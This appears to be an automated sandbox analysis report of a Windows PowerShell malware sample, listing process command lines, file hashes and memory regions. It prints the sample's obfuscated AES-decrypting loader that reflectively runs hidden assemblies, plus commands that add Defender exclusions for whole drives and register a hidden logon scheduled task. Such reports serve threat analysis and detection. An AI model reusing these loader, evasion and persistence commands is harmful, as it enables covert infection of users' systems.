XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 8009' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC3.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\SC3.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\SC3.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\SC3.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\SC3')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 8009' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC3.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

memory/5004-0-0x00007FFE579D3000-0x00007FFE579D5000-memory.dmp

memory/5004-1-0x000001E9EB2F0000-0x000001E9EB312000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_widvnabd.rfe.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5004-11-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

memory/5004-12-0x000001E9EB390000-0x000001E9EB3D4000-memory.dmp

memory/5004-13-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

memory/5004-14-0x000001E9EB7E0000-0x000001E9EB856000-memory.dmp

memory/2644-15-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

memory/2644-16-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

memory/2644-26-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

memory/2644-29-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

memory/5004-30-0x000001E9EB370000-0x000001E9EB382000-memory.dmp

memory/5004-33-0x000001E9EB3E0000-0x000001E9EB400000-memory.dmp

memory/5004-31-0x00007FFE75C30000-0x00007FFE75E25000-memory.dmp

memory/5004-32-0x00007FFE73C80000-0x00007FFE73D3E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4703d0fd7198faf3b5ba6d06c78de440
SHA1 1db6def0531c37aa7791d774d02398667fa8b909
SHA256 e8725560e63237fdb1b3549b6230d6945d8f8d6b0e59c8b1d3f6fcc5688f0d45
SHA512 734321135920eb4ad1bc71635460a1381068a8a8f553aba94bf6ca33792fcf2fe5992811b73162c714a8e36e2a00b8899e1a8da2d212566fc1740c041f99905c

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 e4de99c1795fd54aa87da05fa39c199c
SHA1 dfaaac2de1490fae01104f0a6853a9d8fe39a9d7
SHA256 23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457
SHA512 796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

C:\Users\Admin\AppData\Roaming\SC3.cmd

MD5 aebbb92d1f67cddf37f996695175153e
SHA1 8706b8f0d37fb05aa70f32d78c3d8469b64c7c27
SHA256 2ad358d7ccdb651d4603cb591a2eb19416ed453a8cf19c82cb2717477db518a7
SHA512 60e261b245fb23c75cd7fc0e507daa3e6f39f7f86261622ca90fd21dafda481abd0d80d7befe01ebe31a3f25485df298445662dfb8041fa0e607c85c31425ce6

memory/1688-91-0x00007FFE75C30000-0x00007FFE75E25000-memory.dmp

memory/1688-92-0x00007FFE73C80000-0x00007FFE73D3E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 21ea8f136c7e3ca767dcbd991c0844a6
SHA1 5c1fd5240107de47770398d7f279e7137493cf3a
SHA256 a1268736db5ffac6395508307fda1c4b47d8f49c3fbe58815cc8430bbf1a2d16
SHA512 cf21447956c866ffcec4a1dd87ffc0e432aa437f32a6deb655263b5b93f7c0dcfcf1a5abf48b46c138ff0ba6e2e44c653a013c9920d316f125c923e18a152063

memory/5004-103-0x00007FFE579D0000-0x00007FFE58491000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ababd44ca1274d1dc0b7086ea3b290cc
SHA1 f6b49a35edb04ccb98557dd64931b94ed16f2b30
SHA256 a9ab854e76f9a9753a96495db852e754dc570b7264b9032277ca19c3517d0361
SHA512 df46a39fa29476ef873634d62e4f38e92216486f23f7069c86d80f4144d18485cf6a4d275d7ef24773a59d6a35fc4e910e40fd2c62008d3500a1e6a91abd4fde

memory/1688-127-0x0000017B7E410000-0x0000017B7E420000-memory.dmp